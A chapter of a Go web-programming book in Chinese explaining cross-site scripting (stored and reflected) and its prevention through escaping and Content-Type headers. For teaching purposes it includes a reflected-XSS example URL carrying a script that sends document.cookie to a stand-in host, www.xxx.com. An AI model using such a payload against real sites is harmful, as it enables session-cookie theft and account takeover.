Files
2019-06-22 23:41:28 +08:00

57 lines
5.3 KiB
Markdown
Raw Permalink Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
# 9.3 避免 XSS 攻擊
隨著網際網路技術的發展,現在的 Web 應用都含有大量的動態內容以提高使用者體驗。所謂動態內容就是應用程式能夠根據使用者環境和使用者請求輸出相應的內容。動態站點會受到一種名為“跨站指令碼攻擊”Cross Site Scripting, 安全專家們通常將其縮寫成 XSS的威脅而靜態站點則完全不受其影響。
## 什麼是 XSS
XSS 攻擊:跨站指令碼攻擊(Cross-Site Scripting),為了不和層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆,故將跨站指令碼攻擊縮寫為 XSS。XSS 是一種常見的 web 安全漏洞,它允許攻擊者將惡意程式碼植入到提供給其它使用者使用的頁面中。不同於大多數攻擊(一般只涉及攻擊者和受害者)XSS 涉及到三方,即攻擊者、客戶端與 Web 應用。XSS 的攻擊目標是為了盜取儲存在客戶端的 cookie 或者其他網站用於識別客戶端身份的敏感資訊。一旦取得到合法使用者的資訊後,攻擊者甚至可以假冒合法使用者與網站進行互動。
XSS 通常可以分為兩大類別:一類別是儲存型 XSS主要出現在讓使用者輸入資料供其他瀏覽此頁的使用者進行檢視的地方包括留言、評論、部落格日誌和各類別表單等。應用程式從資料庫中查詢資料在頁面中顯示出來攻擊者在相關頁面輸入惡意的指令碼資料後使用者瀏覽此類別頁面時就可能受到攻擊。這個流程簡單可以描述為 : 惡意使用者的 Html 輸入 Web 程式->進入資料庫->Web 程式->使用者瀏覽器。另一類別是反射型 XSS主要做法是將指令碼程式碼加入 URL 地址的請求參數裡,請求參數進入程式後在頁面直接輸出,使用者點選類似的惡意連結就可能受到攻擊。
XSS 目前主要的手段和目的如下:
- 盜用 cookie取得敏感資訊。
- 利用植入 Flash透過 crossdomain 許可權設定進一步取得更高許可權;或者利用 Java 等得到類似的操作。
- 利用 iframe、frame、XMLHttpRequest 或上述 Flash 等方式,以(被攻擊者)使用者的身份執行一些管理動作,或執行一些如 : 發微博、加好友、發私信等常規操作,前段時間新浪微博就遭遇過一次 XSS。
- 利用可被攻擊的域受到其他域信任的特點,以受信任來源的身份請求一些平時不允許的操作,如進行不當的投票活動。
- 在訪問量極大的一些頁面上的 XSS 可以攻擊一些小型網站,實現 DDoS 攻擊的效果
## XSS 的原理
Web 應用未對使用者提交請求的資料做充分的檢查過濾,允許使用者在提交的資料中摻入 HTML 程式碼(最主要的是“>”、“<”),並將未經轉義的惡意程式碼輸出到第三方使用者的瀏覽器解釋執行,是導致 XSS 漏洞的產生原因。
接下來以反射性 XSS 舉例說明 XSS 的過程:現在有一個網站,根據參數輸出使用者的名稱,例如訪問 url`http://127.0.0.1/?name=astaxie`,就會在瀏覽器輸出如下資訊:
hello astaxie
如果我們傳遞這樣的 url`http://127.0.0.1/?name=&#60;script&#62;alert(&#39;astaxie,xss&#39;)&#60;/script&#62;`,這時你就會發現瀏覽器跳出一個彈出框,這說明站點已經存在了 XSS 漏洞。那麼惡意使用者是如何盜取 Cookie 的呢?與上類似,如下這樣的 url`http://127.0.0.1/?name=&#60;script&#62;document.location.href='http://www.xxx.com/cookie?'+document.cookie&#60;/script&#62;`,這樣就可以把當前的 cookie 傳送到指定的站點:`www.xxx.com`。你也許會說,這樣的 URL 一看就有問題,怎麼會有人點選?,是的,這類別的 URL 會讓人懷疑,但如果使用短網址服務將之縮短,你還看得出來麼?攻擊者將縮短過後的 url 透過某些途徑傳播開來,不明真相的使用者一旦點選了這樣的 url相應 cookie 資料就會被髮送事先設定好的站點,這樣子就盜得了使用者的 cookie 資訊,然後就可以利用 Websleuth 之類別的工具來檢查是否能盜取那個使用者的賬戶。
更加詳細的關於 XSS 的分析大家可以參考這篇叫做《[新浪微博 XSS 事件分析](http://www.rising.com.cn/newsletter/news/2011-08-18/9621.html)》的文章。
## 如何預防 XSS
答案很簡單,堅決不要相信使用者的任何輸入,並過濾掉輸入中的所有特殊字元。這樣就能消滅絕大部分的 XSS 攻擊。
目前防禦 XSS 主要有如下幾種方式:
- 過濾特殊字元
避免 XSS 的方法之一主要是將使用者所提供的內容進行過濾Go 語言提供了 HTML 的過濾函式:
text/template 套件下面的 HTMLEscapeString、JSEscapeString 等函式
- 使用 HTTP 頭指定型別
```Go
`w.Header().Set("Content-Type","text/javascript")`
這樣就可以讓瀏覽器解析 javascript 程式碼而不會是 html 輸出
```
## 總結
XSS 漏洞是相當有危害的,在開發 Web 應用的時候,一定要記住過濾資料,特別是在輸出到客戶端之前,這是現在行之有效的防止 XSS 的手段。
## links
* [目錄](<preface.md>)
* 上一節:[確保輸入過濾](<09.2.md>)
* 下一節:[避免 SQL 注入](<09.4.md>)